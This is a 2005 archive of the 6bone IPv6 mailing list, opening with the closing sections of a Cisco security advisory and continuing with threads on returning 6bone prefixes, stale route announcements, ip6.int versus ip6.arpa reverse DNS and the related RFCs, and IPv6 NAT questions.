>paper entitled "Protecting Your Core: Infrastructure Protection Access Control
>Lists", available at http://www.cisco.com/warp/public/707/iacl.html, presents
>guidelines and recommended deployment techniques for infrastructure protection
>ACLs. Exceptions would include any devices which have a legitimate reason to
>access your infrastructure (for example, BGP peers, DNS servers, and so on).
>All other traffic must be able to traverse your network without terminating on
>any of your devices.
>
>Exploitation and Public Announcements
>=====================================
>
>The Cisco PSIRT is not aware of any public announcements or malicious use of
>the vulnerability described in this advisory.
>
>Status of This Notice: FINAL
>============================
>
>THIS ADVISORY IS PROVIDED ON AN "AS IS" BASIS AND DOES NOT IMPLY ANY KIND OF
>GUARANTEE OR WARRANTY, INCLUDING THE WARRANTY OF MERCHANTABILITY. YOUR USE OF
>THE INFORMATION ON THE ADVISORY OR MATERIALS LINKED FROM THE ADVISORY IS AT
>YOUR OWN RISK. CISCO RESERVES THE RIGHT TO CHANGE OR UPDATE THIS NOTICE AT ANY
>TIME.
>
>A stand-alone copy or paraphrase of the text of this security advisory that
>omits the distribution URL in the following section is an uncontrolled copy,
>and may lack important information or contain factual errors.
>
>Distribution
>============
>
>This advisory will be posted on Cisco's worldwide website at http://
>www.cisco.com/warp/public/707/cisco-sa-20050126-ipv6.shtml.
>
>In addition to worldwide web posting, a text version of this notice is
>clear-signed with the Cisco PSIRT PGP key and is posted to the following 
>e-mail
>and Usenet news recipients.
>
>   * cust-security-announce@cisco.com
>   * first-teams@first.org (includes CERT/CC)
>   * bugtraq@securityfocus.com
>   * vulnwatch@vulnwatch.org
>   * cisco@spot.colorado.edu
>   * cisco-nsp@puck.nether.net
>   * full-disclosure@lists.netsys.com
>   * comp.dcom.sys.cisco@newsgate.cisco.com
>   * Various internal Cisco mailing lists
>
>Future updates of this advisory, if any, will be placed on Cisco's worldwide
>website, but may or may not be actively announced on mailing lists or
>newsgroups. Users concerned about this problem are encouraged to check the
>above URL for any updates.
>
>Revision History
>================
>
>+---------------------------------------------+
>| Revision | 2005-January-26 | Initial public |
>| 1.0      |                 | release.       |
>+---------------------------------------------+
>
>Cisco Security Procedures
>=========================
>
>Complete information on reporting security vulnerabilities in Cisco products,
>obtaining assistance with security incidents, and registering to receive
>security information from Cisco, is available on Cisco's worldwide website at
>http://www.cisco.com/en/US/products/products_security_vulnerability_policy.html
>. This includes instructions for press inquiries regarding Cisco security
>notices. All Cisco security advisories are available at 
>http://www.cisco.com/go
>/psirt.
>
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From erik@xs4all.nl Thu Feb  3 01:57:40 2005
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From: Erik Bos <erik@xs4all.net>
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hi guys,

XS4ALL/AS3265 has renumbered its infrastructure and customers to RIR space
last year and is returning its 6bone assignment 3ffe:8280::/28. I've deleted
our entries in the 6bone registry.

So long and thanks for all the fish.

Erik Bos
XS4ALL

From hank@mail.iucc.ac.il Tue Feb  8 01:09:58 2005
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http://www.nwfusion.com/news/2005/020705-moonv6.html

-Hank


From jeroen@unfix.org Fri Feb 11 13:36:19 2005
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Subject: Re: [6bone] XS4ALL/AS3265: returning 6bone ipv6 address space
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Erik Bos wrote at the 3rd of February:
> hi guys,
>=20
> XS4ALL/AS3265 has renumbered its infrastructure and customers to RIR spac=
e
> last year and is returning its 6bone assignment 3ffe:8280::/28. I've dele=
ted
> our entries in the 6bone registry.

Looking at:
http://mailman.isi.edu/pipermail/6bone/2005-February/thread.html

and at:
http://www.6bone.net/6bone_pTLA_list.html

This pTLA has not been officially registered as 'returned', can somebody ta=
ke a look at it ?
Also the PTLA list above should also mention that 2003::/16 is now part of =
RIR space...

Greets,
 Jeroen


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From bobfink@gmail.com Fri Feb 11 14:26:19 2005
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From: Robert Fink <bobfink@gmail.com>
To: Jeroen Massar <jeroen@unfix.org>, 6bone@mailman.isi.edu
Subject: Re: [6bone] XS4ALL/AS3265: returning 6bone ipv6 address space
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Jeroen,

I'll fix it.

If you note other pTLAs that have been returned, please let me know so
I can fix those too.


Thanks,

Bob

On Fri, 11 Feb 2005 22:35:03 +0100, Jeroen Massar <jeroen@unfix.org> wrote:
> Erik Bos wrote at the 3rd of February:
> > hi guys,
> >
> > XS4ALL/AS3265 has renumbered its infrastructure and customers to RIR space
> > last year and is returning its 6bone assignment 3ffe:8280::/28. I've deleted
> > our entries in the 6bone registry.
> 
> Looking at:
> http://mailman.isi.edu/pipermail/6bone/2005-February/thread.html
> 
> and at:
> http://www.6bone.net/6bone_pTLA_list.html
> 
> This pTLA has not been officially registered as 'returned', can somebody take a look at it ?
> Also the PTLA list above should also mention that 2003::/16 is now part of RIR space...
> 
> Greets,
> Jeroen
> 
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 
> 
> 
>

From jeroen@unfix.org Sat Feb 12 08:24:19 2005
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On Fri, 2005-02-11 at 14:24 -0800, Robert Fink wrote:
> Jeroen,
>=20
> I'll fix it.
>=20
> If you note other pTLAs that have been returned, please let me know so
> I can fix those too.

None afaik officially, that is as announced on the 6bone mailinglist.
But there are quite a number of prefixes which have not been announced
for quite some time already as per:

http://www.sixxs.net/tools/grh/tla/6bone/

Gone before 2004-01-01:
3ffe:0e00::/24 IFB/GB           2003-06-13 10:55:25
3ffe:0f00::/24 DEFENSENET/US    2003-09-26 22:21:06
3ffe:2300::/24 INFN-CNAF/IT     2003-06-13 10:55:24
3ffe:3000::/32 AMS-IX/NL        2003-06-13 10:55:25
3ffe:400e::/32 ECITY/IT         2003-06-09 11:14:30
3ffe:8120::/28 CERN/CH          2003-09-26 22:21:06
3ffe:8190::/28 ISDNET/FR        2003-10-28 22:50:47
3ffe:8260::/28 COMPENDIUM-AR/AR 2003-06-09 11:14:30 =20
3ffe:8290::/28 AOL/US           2003-06-09 12:03:47

Gone before 2005-01-01:
3ffe:1100::/24 UUNET-UK/GB      2004-08-04 15:17:37
3ffe:1b00::/24 UL/PT            2004-02-03 14:20:36
3ffe:1c00::/24 MERIT/US-MI      2004-04-21 11:21:02
3ffe:2400::/32 INS/RU           2004-01-28 04:50:54
3ffe:4006::/32 DOLPHINS-CH/CH   2004-09-27 08:32:15
3ffe:4009::/32 VERAT/YU         2004-08-19 13:17:16
3ffe:400c::/32 ICPNET-PL/PL     2004-12-05 15:17:18
3ffe:8030::/28 GTPV6/EU         2004-01-14 11:40:43
3ffe:8100::/28 EURONET-BE       2004-08-04 15:17:37
3ffe:8150::/28 SOLNET-CH        2004-10-22 11:47:16
3ffe:81e0::/28 IPv6-BITS-IN/IN  2004-04-17 00:50:35
3ffe:8210::/28 ATMAN6/PL        2004-11-05 12:02:17

Gone in the last 2 months:
3ffe:400b::/32 INET-TH/TH       2005-02-11 15:17:18
3ffe:4012::/32 EUROVIEW/ES      2005-02-09 14:32:58
3ffe:401a::/32 RETINA/AR        2005-01-11 17:17:18

Someone might want to contact these people if they want to return their
allocation or simply to query them if there is anyone even still aware
that they actually have such a prefix. Some of the above ISP's have
migrated to RIR space, but simply haven't bothered officially yelling
"hey we had fun and we are done, we are returning the space".

3ffe:3800::/24 (FIBERTEL) & 3ffe:1300::/24 (NORTEL) are both being
announced by FIBERTEL (10318) but I have never been able to contact them
about fixing them announcing 3ffe:1300::/24. One thing to note though is
that the inet6num for 3ffe:1300::/24 is gone from the 6bone database,
while the ipv6-site is still there...

Greets,
 Jeroen

BTW: Of course, even though a prefix is not globally announced people
could still be using it, in which case they are most likely reading this
list and can easily comment here that they are still using it.
Wasn't there a clause in the pTLA thing that you needed valid contacts
and that one must be subscribed to this list ? :)


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From jeroen@unfix.org Mon Feb 14 01:36:22 2005
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Subject: [6bone] Re: Cleaning up unused 6bone spaces
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[Sprint & ATNET, please read the last paragraph, after the =3D-=3D and act
upon...]

On Mon, 2005-02-14 at 09:06 +0000, Gerrit Wenig wrote:
> Hi Jeroen,
>=20
> On Sat, 12 Feb 2005, Jeroen Massar wrote:
>
> > Gone before 2005-01-01:
> > 3ffe:1100::/24 UUNET-UK/GB      2004-08-04 15:17:37
>=20
> This one we have given back end of July 2004.
> I had not sent it to the 6Bone list, but I had
> contacted Bob. It's also documented as returned on
> http://www.6bone.net/6bone_pTLA_list.html

I've updated that in the GRH list, thanks for the notify.

After that I verified that it matched the rest of the list and found the
following few obscurities:

The following is odd btw:
INFN-CNAF/IT         3FFE:2300::/24 review of current inactivity
underway [17Jan03]
IFB/GB               3FFE:0E00::/24 review of current inactivity
underway [17Jan03]

Not seen in the GRT since 2003-06-13, almost two years ago, thus I guess
that these can be reclaimed. The most likely reason why both have the
same date is because some ISP started announcing all the prefixes known
to mankind at that time.

=3D-=3D

The following is quite funny now of course:
RECLAIMED             3FFE:1300::/24 RECLAIMED from BAY/US-MA [04Sep03]

As it is *still* being announced by Fibertel, to whom no contact can be
made. They are also quite apparently not reading this mailinglist.

I've CC'd both Sprint (AS6175) and ATNET (AS5424) as they seem to be
playing transit for AS10318*

Paths like these (Greece, Sprint, South America, Austria) don't seem to
make much sense anyway:

3ffe:2d00::/24 2001:4f8:1::7  3557 6939 6939 5424 10318 6175 5408

Or ATNET's 6bone prefix:
3ffe:8060::/28 2001:838:0:ffff::1  12871 24587 6453 10566 6175 10318 5424

That is Austria -> South America -> Sprint -> Canada -> Netherlands

And folks, please read:
http://ip6.de.easynet.net/ipv6-minimum-peering.txt

That avoids funny paths like the above. And there is *enough*
connectivity in Europe for ATNET if they need it, just ask.

Greets,
 Jeroen

* =3D http://www.sixxs.net/tools/grh/lg/?find=3D3ffe:1300::/24
    http://www.sixxs.net/tools/grh/lg/?
findtype=3Daspath_contains&find=3D10318

abuse@atnet.at added because that is what
http://www.sixxs.net/tools/whois/?3ffe:8060::/28 mentions to do for
complaints and this is a complaint about them announcing a reclaimed
prefix and playing transit for a bogus ASN including fulltable swapping.
And I am putting it nicely, it is Valentine's day afterall ;)


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From M.Wozniak@zehs.com.pl Tue Feb 15 23:05:18 2005
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Subject: [6bone] .int / .arpa
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Hi,

I need advice. I have working revDNS zone for my subnet (.ip6.arpa), but 
i still need ip6.int. Is there any record "like CNAME" which can i put 
in arpa zone file for ip6.int records ? Or i just have to make 2nd zone 
file with int records ?


From jeroen@unfix.org Wed Feb 16 01:23:18 2005
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Subject: Re: [6bone] .int / .arpa
From: Jeroen Massar <jeroen@unfix.org>
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On Wed, 2005-02-16 at 08:04 +0100, Mariusz Wo=C5=BAniak wrote:
>Hi,
>
>I need advice. I have working revDNS zone for my subnet (.ip6.arpa), but=20
>i still need ip6.int.

For what do you need ip6.int?
By now (ip6.int was deprecated 4 years ago!) you should have switched
everything to ip6.arpa already.

>Is there any record "like CNAME" which can i put=20
>in arpa zone file for ip6.int records ? Or i just have to make 2nd zone=20
>file with int records ?

What you can do is a DNAME:

ip6.int DNAME ip6.arpa.

Put that in any of your DNS servers which you use for resolving as
authoritative and you are done.

eg:

8<------------------
$ dig @ns1.sixxs.net remove.ip6.int
<SNIP>
;; ANSWER SECTION:
ip6.int.                604800  IN      DNAME   ip6.arpa.
remove.ip6.int.         0       IN      CNAME   remove.ip6.arpa.
------------------>8

Greets,
 Jeroen


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From dlc@chiba.halibut.com Wed Feb 16 02:31:18 2005
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You want the DNAME record:

    http://www.isc.org/pubs/tn/isc-tn-2002-1.html


On Wed, Feb 16, 2005 at 08:04:01AM +0100, Mariusz Wozniak wrote:
> Hi,
> 
> I need advice. I have working revDNS zone for my subnet (.ip6.arpa), but 
> i still need ip6.int. Is there any record "like CNAME" which can i put 
> in arpa zone file for ip6.int records ? Or i just have to make 2nd zone 
> file with int records ?
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

From M.Wozniak@zehs.com.pl Wed Feb 16 03:28:18 2005
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Jeroen wrote:

>For what do you need ip6.int?
>By now (ip6.int was deprecated 4 years ago!) you should have switched
>everything to ip6.arpa already.
>  
>
Some services still resolve int records. I was in "sleeping mode" with 
ipv6 projects, but im back, i want to be "on time" when all start 
working :) I have new IP and some time to work. I want to change/add 
ipv6's to my webserver, ssh, ircserver, 2 lan networks (every comp with 
private ipv6), some route practice, and rest of things that i make using 
ipv4. I want to check how far can i go with new architecture.

>What you can do is a DNAME:
>
>ip6.int DNAME ip6.arpa.
>
>Put that in any of your DNS servers which you use for resolving as
>authoritative and you are done.
>
>eg:
>
>8<------------------
>$ dig @ns1.sixxs.net remove.ip6.int
><SNIP>
>;; ANSWER SECTION:
>ip6.int.                604800  IN      DNAME   ip6.arpa.
>remove.ip6.int.         0       IN      CNAME   remove.ip6.arpa.
>------------------>8
>  
>
Thx. I will work now with DNAME. But for now (12:27 CET) i leave old int 
like it is, and just add arpa records. Some clean/remove int in future, 
is in my plan :)

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Subject: Re: [6bone] .int / .arpa
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Mariusz Woźniak wrote:
> Hi,
> 
> I need advice. I have working revDNS zone for my subnet (.ip6.arpa), but 
> i still need ip6.int. Is there any record "like CNAME" which can i put 
> in arpa zone file for ip6.int records ? Or i just have to make 2nd zone 
> file with int records ?
> 

#!/bin/bash
sed 's/ip6.arpa/ip6.int/g' source.ip6.arpa > destination.ip6.int

Make your edits to the arpa zone, then, simply run the script above to 
generate your ip6.int zone.

John

From old_mc_donald@hotmail.com Thu Feb 17 03:32:25 2005
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Are Sun now getting their act together.?

To those in the know, after looking at 
http://www.sun.com/software/solaris/ds/network_performance.jsp
does Solaris 10 now beat the likes of MS and *BSD.?

I'm downloading it now anyway to give it a test run.

It would be nice to have one or two IPv6 only apps to try out on it.

Anyone use Solaris?

Gav... 

From iljitsch@muada.com Thu Feb 17 11:58:29 2005
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From: Iljitsch van Beijnum <iljitsch@muada.com>
Subject: Re: [6bone] .int / .arpa
Date: Thu, 17 Feb 2005 20:41:39 +0100
To: John Fraizer <tvo@enterzone.net>
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On 16-feb-05, at 18:49, John Fraizer wrote:

>> I have working revDNS zone for my subnet (.ip6.arpa), but i still 
>> need ip6.int.

> #!/bin/bash
> sed 's/ip6.arpa/ip6.int/g' source.ip6.arpa > destination.ip6.int

Ok, so what happens now is that d.e.a.d.b.e.e.f.ip6.arpa and 
d.e.a.d.b.e.e.f.ip6.int are equivalent. However, this doesn't seem to 
be in line with the RFCs I'm reading.

In the beginning, there was RFC 1886, and we had the x.x.x.x.ip6.int 
reverse mapping and life was good.

Then at some point a whole bunch of RFCs was published with a whole new 
way of doing things, in the RFC 2[8|6]7x range. However, those RFCs DO 
NOT mandate the use of x.x.x.x.ip6.arpa, as far as I can tell from a 
quick scan.

According to those RFCs, looking up the reverse mapping should be done 
the way the host and nslookup commands on my Mac do:

[alumange:~] iljitsch% host 2001:200::8002:203:47ff:fea5:3085
Host \[x2001020000008002020347FFFEA53085/128].ip6.arpa not found: 
3(NXDOMAIN)
[alumange:~] iljitsch% nslookup -silent 
2001:200::8002:203:47ff:fea5:3085 sequoia
Server:         sequoia
Address:        2001:1af8:2:5::2#53

** server can't find \[x2001020000008002020347FFFEA53085/128].ip6.arpa: 
NXDOMAIN

Now RFC 3364 says the RFC 2874 is better, but the additional benefit 
over the RFC 1886 way is too small to warrant the trouble of the 
gruesome upgrade cycle that's needed.

So how did we end up in the current x.x.x.x.ip6.arpa situation? I 
haven't been able to find any document that mandates this, what gives?


From tboss@research.earthlink.net Thu Feb 17 13:04:29 2005
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From: Tim Bosserman <tboss@research.earthlink.net>
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Subject: Re: [6bone] .int / .arpa
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I believe the RFC you are looking for is 3596: DNS Extensions to Support 
IP Version 6.  It officially obsoletes 1886 and 3152.

--
Tim Bosserman
EarthLink R&D

On Thu, 17 Feb 2005, Iljitsch van Beijnum wrote:

> On 16-feb-05, at 18:49, John Fraizer wrote:
>
>>> I have working revDNS zone for my subnet (.ip6.arpa), but i still need 
>>> ip6.int.
>
>> #!/bin/bash
>> sed 's/ip6.arpa/ip6.int/g' source.ip6.arpa > destination.ip6.int
>
> Ok, so what happens now is that d.e.a.d.b.e.e.f.ip6.arpa and 
> d.e.a.d.b.e.e.f.ip6.int are equivalent. However, this doesn't seem to be in 
> line with the RFCs I'm reading.
>
> In the beginning, there was RFC 1886, and we had the x.x.x.x.ip6.int reverse 
> mapping and life was good.
>
> Then at some point a whole bunch of RFCs was published with a whole new way 
> of doing things, in the RFC 2[8|6]7x range. However, those RFCs DO NOT 
> mandate the use of x.x.x.x.ip6.arpa, as far as I can tell from a quick scan.
>
> According to those RFCs, looking up the reverse mapping should be done the 
> way the host and nslookup commands on my Mac do:
>
> [alumange:~] iljitsch% host 2001:200::8002:203:47ff:fea5:3085
> Host \[x2001020000008002020347FFFEA53085/128].ip6.arpa not found: 3(NXDOMAIN)
> [alumange:~] iljitsch% nslookup -silent 2001:200::8002:203:47ff:fea5:3085 
> sequoia
> Server:         sequoia
> Address:        2001:1af8:2:5::2#53
>
> ** server can't find \[x2001020000008002020347FFFEA53085/128].ip6.arpa: 
> NXDOMAIN
>
> Now RFC 3364 says the RFC 2874 is better, but the additional benefit over the 
> RFC 1886 way is too small to warrant the trouble of the gruesome upgrade 
> cycle that's needed.
>
> So how did we end up in the current x.x.x.x.ip6.arpa situation? I haven't 
> been able to find any document that mandates this, what gives?
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>

From dragon@tdoi.org Thu Feb 17 13:08:28 2005
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From: "Christian Nickel" <dragon@tdoi.org>
To: "'Iljitsch van Beijnum'" <iljitsch@muada.com>
Subject: RE: [6bone] .int / .arpa
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...

> So how did we end up in the current x.x.x.x.ip6.arpa situation? I haven't
been able to find any document that mandates this, what gives?

just read RFC3363 and you get all the answers you need :-)

current standard is ip6.arpa in nibble format
bitstring format is now experimental
ip6.int is dead :-)


From iljitsch@muada.com Thu Feb 17 13:39:53 2005
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From: Iljitsch van Beijnum <iljitsch@muada.com>
Subject: Re: [6bone] .int / .arpa
Date: Thu, 17 Feb 2005 22:38:59 +0100
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On 17-feb-05, at 22:07, Christian Nickel wrote:

>> So how did we end up in the current x.x.x.x.ip6.arpa situation? I 
>> haven't
>> been able to find any document that mandates this, what gives?

> just read RFC3363 and you get all the answers you need :-)

Actually it doesn't, but at least more than 3364. (Am I the only one 
who is annoyed by the large numbers of RFCs about the same subject??)

> current standard is ip6.arpa in nibble format
> bitstring format is now experimental
> ip6.int is dead :-)

Actually that's not what it says. RFC 3363 (which is "informational" 
itself!) says the whole 2x7x series is now experimental, so bit labels 
are out the door. 3152 (which is BCP 49) says ip6.int is deprecated and 
ip6.arpa is the way to go, and references 2874.

Neither says in so many words that we should be doing ip6.arpa in 
nibble mode, and I think it's a pretty big leap of faith to assume that 
this is what the combination of these RFCs means to say.

In any event, there is a severe breach of IETF procedure because a BCP 
references an RFC that is demoted to "experimental" in an 
"informational" RFC.


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On 17-feb-05, at 22:03, Tim Bosserman wrote:

> I believe the RFC you are looking for is 3596: DNS Extensions to 
> Support IP Version 6.  It officially obsoletes 1886 and 3152.

Thanks, that's the one. Still, 3152 is BCP while 3596 is draft standard.

Then to think someone who will remain nameless to protect the guilty 
wanted to obsolete ip6.int last year, less than a year after the 
publication of RFC 3596...


From jeroen@unfix.org Thu Feb 17 14:18:31 2005
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Subject: Re: [6bone] .int / .arpa
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On Thu, 2005-02-17 at 22:50 +0100, Iljitsch van Beijnum wrote:
>On 17-feb-05, at 22:03, Tim Bosserman wrote:
>
>> I believe the RFC you are looking for is 3596: DNS Extensions to=20
>> Support IP Version 6.  It officially obsoletes 1886 and 3152.
>
>Thanks, that's the one. Still, 3152 is BCP while 3596 is draft standard.
>
>Then to think someone who will remain nameless to protect the guilty=20
>wanted to obsolete ip6.int last year, less than a year after the=20
>publication of RFC 3596...

You didn't see:

http://www.ietf.org/internet-drafts/ draft-huston-ip6-int-01.txt=20

yet? Btw if you had read my version, which is still online and in
google,  you would have known about 3596. As the whole ip6.arpa thing is
just flaky how it came into existence, just think of it this way: the
agreement is there, people are using ip6.arpa, just use it. Nothing to
change about it, if you, me or any number of people don't like it. It is
for the good anyway, ever checked the state of ip6.int ? :)

Greets,
 Jeroen


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From iljitsch@muada.com Thu Feb 17 14:49:38 2005
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Subject: Re: [6bone] .int / .arpa
Date: Thu, 17 Feb 2005 23:49:26 +0100
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On 17-feb-05, at 23:17, Jeroen Massar wrote:

>> Then to think someone who will remain nameless to protect the guilty
>> wanted to obsolete ip6.int last year, less than a year after the
>> publication of RFC 3596...

I meant "shut down".

> You didn't see:

> http://www.ietf.org/internet-drafts/ draft-huston-ip6-int-01.txt

> yet?

Nope... 5648 unread messages in my ietf-announce box.  :-)

What is the purpose of this document anyway? ip6.int is deprecated, no 
need to beat a dead horse.

> the agreement is there, people are using ip6.arpa, just use it.

Sure. Wasn't there talk that Cisco still did ip6.int? But unless I'm 
very much mistaken my little ADSL Cisco running 12.3 does ip6.arpa.

Now if the makers of host and nslookup throw out the bit labels I'd be 
very happy. (Weird how these programs are completely anonymous: no way 
to find out where they come from or what version they are.)

> Nothing to change about it, if you, me or any number of people don't 
> like it. It is for the good anyway, ever checked the state of ip6.int 
> ? :)

No, how would I do something like that? I don't want to start a whole 
big thing (well, not another one anyway) but it would make a lot of 
sense to me to just continue to run ip6.int. That's bound to be less 
trouble than trying to remove it. If nobody wants delegations, then 
keeping it around is no trouble. If lots of people want delegations, 
then apparently it still serves some purpose so removing it wouldn't be 
good. In either case, no upside to removing it at this point in time.

And yes, I'm keeping 3ffe:2500:310::/48 for as long as I can hold on to 
it, too.  :-)

P.S.: http://a6.muada.nl/     (ducking)


From Marc.Williams@neustar.biz Fri Feb 18 07:08:38 2005
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I've been running SunOS since microsoft was better known as DOS 3, and we had to load something called crynware to use a 16-bit tcp/ip app.  

Marc Williams
WAN Engineer
NeuStar, Inc.

mailto:marc.williams@neustar.biz
571-434-5626 (desk)
571-283-1587 (mobile) 



> -----Original Message-----
> Date: Thu, 17 Feb 2005 19:31:23 +0800
> From: "Gav" <old_mc_donald@hotmail.com>
> Subject: [6bone] Solaris
> To: <6bone@mailman.isi.edu>
> Message-ID: <BAY20-DAV1799A66DFE905974037F75AA6D0@phx.gbl>
> Content-Type: text/plain;	charset="iso-8859-1"
> 
> Are Sun now getting their act together.?
> 
> To those in the know, after looking at 
> http://www.sun.com/software/solaris/ds/network_performance.jsp
> does Solaris 10 now beat the likes of MS and *BSD.?
> 
> I'm downloading it now anyway to give it a test run.
> 
> It would be nice to have one or two IPv6 only apps to try out on it.
> 
> Anyone use Solaris?
> 
> Gav... 

From gert@Space.Net Sun Feb 20 05:35:31 2005
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Hi,

On Thu, Feb 17, 2005 at 10:50:21PM +0100, Iljitsch van Beijnum wrote:
> Then to think someone who will remain nameless to protect the guilty 
> wanted to obsolete ip6.int last year, less than a year after the 
> publication of RFC 3596...

It's the only logical thing to deprecate ip6.int FAST.  

Maintenance of two DNS hierarchies with mostly identical content (but not 
fully so, think of delegations of zones where the destination server only 
carries ip6.arpa) poses quite some burden on the DNS ops - and hardly 
serves any purpose.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  71007  (66629)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From iljitsch@muada.com Sun Feb 20 07:45:24 2005
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On 20-feb-05, at 14:34, Gert Doering wrote:

>> Then to think someone who will remain nameless to protect the guilty
>> wanted to obsolete ip6.int last year, less than a year after the
>> publication of RFC 3596...

> It's the only logical thing to deprecate ip6.int FAST.

No, the only logical thing is when you choose to do something under 
ip6.int, is to stick with it and not move to ip6.arpa for purely 
cosmetic reasons. But that boat has sailed two years ago.

> Maintenance of two DNS hierarchies with mostly identical content (but 
> not
> fully so, think of delegations of zones where the destination server 
> only
> carries ip6.arpa) poses quite some burden on the DNS ops - and hardly
> serves any purpose.

I have a very hard time believing that both are true. If nobody uses it 
anymore, then keeping existing ip6.int stuff around is 0 work, so 
that's certainly the easiest option. If people actually use it, then 
yes, it is a burden, but apparently it serves a purpose. In this case 
too, it would be better to keep ip6.int.

BTW, anyone know if bitlabels were ever delegated under ip6.arpa? It 
doesn't look like they are now, but they may have been in the past 
and/or I'm asking the roots for it in the wrong way.


From brian@innovationslab.net Mon Feb 21 07:33:29 2005
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--Apple-Mail-1--303751044
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On Feb 17, 2005, at 17:49, Iljitsch van Beijnum wrote:

> On 17-feb-05, at 23:17, Jeroen Massar wrote:
>
>>> Then to think someone who will remain nameless to protect the guilty
>>> wanted to obsolete ip6.int last year, less than a year after the
>>> publication of RFC 3596...
>
> I meant "shut down".
>
>> You didn't see:
>
>> http://www.ietf.org/internet-drafts/ draft-huston-ip6-int-01.txt
>
>> yet?
>
> Nope... 5648 unread messages in my ietf-announce box.  :-)
>
> What is the purpose of this document anyway? ip6.int is deprecated, no 
> need to beat a dead horse.

The goal is to get the registries to act asap on cleaning up
the DNS hierarchy.  If anyone has comments on this draft, the
authors (and the IAB) would love to hear them!

As background, this draft is a part of a larger effort by the IAB to
help get the registries all working from the correct set of RFCs.

Regards,
Brian
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From iljitsch@muada.com Mon Feb 21 10:23:33 2005
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From: Iljitsch van Beijnum <iljitsch@muada.com>
Subject: Re: [6bone] .int / .arpa
Date: Mon, 21 Feb 2005 19:22:02 +0100
To: Brian Haberman <brian@innovationslab.net>
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On 21-feb-05, at 16:32, Brian Haberman wrote:

>>> http://www.ietf.org/internet-drafts/ draft-huston-ip6-int-01.txt

>> What is the purpose of this document anyway? ip6.int is deprecated, 
>> no need to beat a dead horse.

> The goal is to get the registries to act asap on cleaning up
> the DNS hierarchy.  If anyone has comments on this draft, the
> authors (and the IAB) would love to hear them!

> As background, this draft is a part of a larger effort by the IAB to
> help get the registries all working from the correct set of RFCs.

Ok, I see. In that case, I would strongly recommend including the 
status of bitlabel delegations under ip6.arpa as per RFC 2874. Since 
this RFC is now "experimental" as I understand. Since it's hard to 
experiment without any delegations, it seems that there should be some 
form of bitlabel delegation.

If only we had a global IPv6 testbed where we could do experiments like 
this without getting in the way of production stuff...

On the other hand, even though the resolvers themselves don't seem to 
use bitlabels, there are still utilities such as "host" and "nslookup" 
floating around that do bitlabel lookups for IPv6 addresses, which 
isn't good.

The usefulness of an RFC like this would be to present the whole 
picture. The individual pieces are already out there (RFCs 3152 and 
3596).

The june 1st date seems a bit ambitious. Why not stop new delegations 
immediately, and remove existing ones per 1-1-6 or 6-6-6?


From L@bnmnetworks.net Mon Feb 21 10:45:27 2005
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Can NAT be setup to NAT ipv6 to ipv6 from one interface to the other?

ISP1   ISP2   ISP3
  |      |             |
        router
    |        |
Client/Network connections


I want to statically route all of ISP 2  and ISP 3 network ranges to them
via their connections while using ISP's 1 network range for everything else.
ISP1, 2 and 3 are tunnels. Client/Network connections are and fast ethernet
and a 10Mb ethernet.

BGP would be great except that I can't get anyone to call me back so, I am
exploring this option while I am waiting for them to call ( if ever ).
Free tunnels are great but..............   ;-)

Anyway, I have been working on it for a couple of days now and can't seem to
get this working.
So, what I need is to NAT overload ISP2 and ISP3 from my network ranges.
That's the part that I am having an issue with.
Routing is already pushing the traffic for those networks out the correct
tunnels via static route to each tunnel.

Anybody doing IPv6 NAT overload via Cisco or have an idea how to get this
working?

TIA

Scotty



From frlinux@frlinux.net Mon Feb 21 11:10:26 2005
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-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Iljitsch van Beijnum wrote:
| On 20-feb-05, at 14:34, Gert Doering wrote:
| I have a very hard time believing that both are true. If nobody uses it
| anymore, then keeping existing ip6.int stuff around is 0 work, so that's
| certainly the easiest option. If people actually use it, then yes, it is
| a burden, but apparently it serves a purpose. In this case too, it would
| be better to keep ip6.int.

I disagree with that. I have started ipv6 with ip6.arpa until i noticed
that some sites on the outside world couldn't resolve properly (read,
were taking a long time to resolve, it successful) which is why i *had
to* use ip6.int as well for our (read, both home and work, since i work
in a place which likes ipv6) zone. I am one of these who actually like
ip6.arpa much more than ip6.int, it is my own belief that it makes
actually more sense. So if tomorrow, someone tells me ip6.int can be
safely removed from my DNS, i will be more than happy.

Steph
- --
Mail sent on Gentoo Linux (http://www.gentoo.org)
http://frlinux.net - frlinux@frlinux.net
public key : http://frlinux.net/files/frlinux_public_key.asc


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On 21-feb-05, at 20:09, FRLinux wrote:

> I have started ipv6 with ip6.arpa until i noticed
> that some sites on the outside world couldn't resolve properly (read,
> were taking a long time to resolve, it successful) which is why i *had
> to* use ip6.int as well for our (read, both home and work, since i work
> in a place which likes ipv6) zone. I am one of these who actually like
> ip6.arpa much more than ip6.int, it is my own belief that it makes
> actually more sense. So if tomorrow, someone tells me ip6.int can be
> safely removed from my DNS, i will be more than happy.

Apparently you don't understand that when your ip6.int delegation is 
removed your original troubles will reappear.

(Unless the stuff that created the problems has been upgraded to look 
for ip6.arpa in the mean time.)

I wish someone could tell me who had this bright idea of switching to 
nibbles in ip6.arpa in the first place...


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Subject: Re: [6bone] .int / .arpa
Date: Mon, 21 Feb 2005 15:06:46 -0500
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> Iljitsch van Beijnum wrote:
> | On 20-feb-05, at 14:34, Gert Doering wrote:
> | I have a very hard time believing that both are true. If nobody uses it
> | anymore, then keeping existing ip6.int stuff around is 0 work, so that's
> | certainly the easiest option. If people actually use it, then yes, it is
> | a burden, but apparently it serves a purpose. In this case too, it would
> | be better to keep ip6.int.
>
> I disagree with that. I have started ipv6 with ip6.arpa until i noticed
> that some sites on the outside world couldn't resolve properly (read,
> were taking a long time to resolve, it successful) which is why i *had
> to* use ip6.int as well for our (read, both home and work, since i work
> in a place which likes ipv6) zone. I am one of these who actually like
> ip6.arpa much more than ip6.int, it is my own belief that it makes
> actually more sense. So if tomorrow, someone tells me ip6.int can be
> safely removed from my DNS, i will be more than happy.
>
> Steph

-->Traceroute-ing to www.isc.org and I see that verio still uses .int for
their stuff.
It's one of those YMMV things until all of the old 6bone stuff is
gone/converted.

Scotty






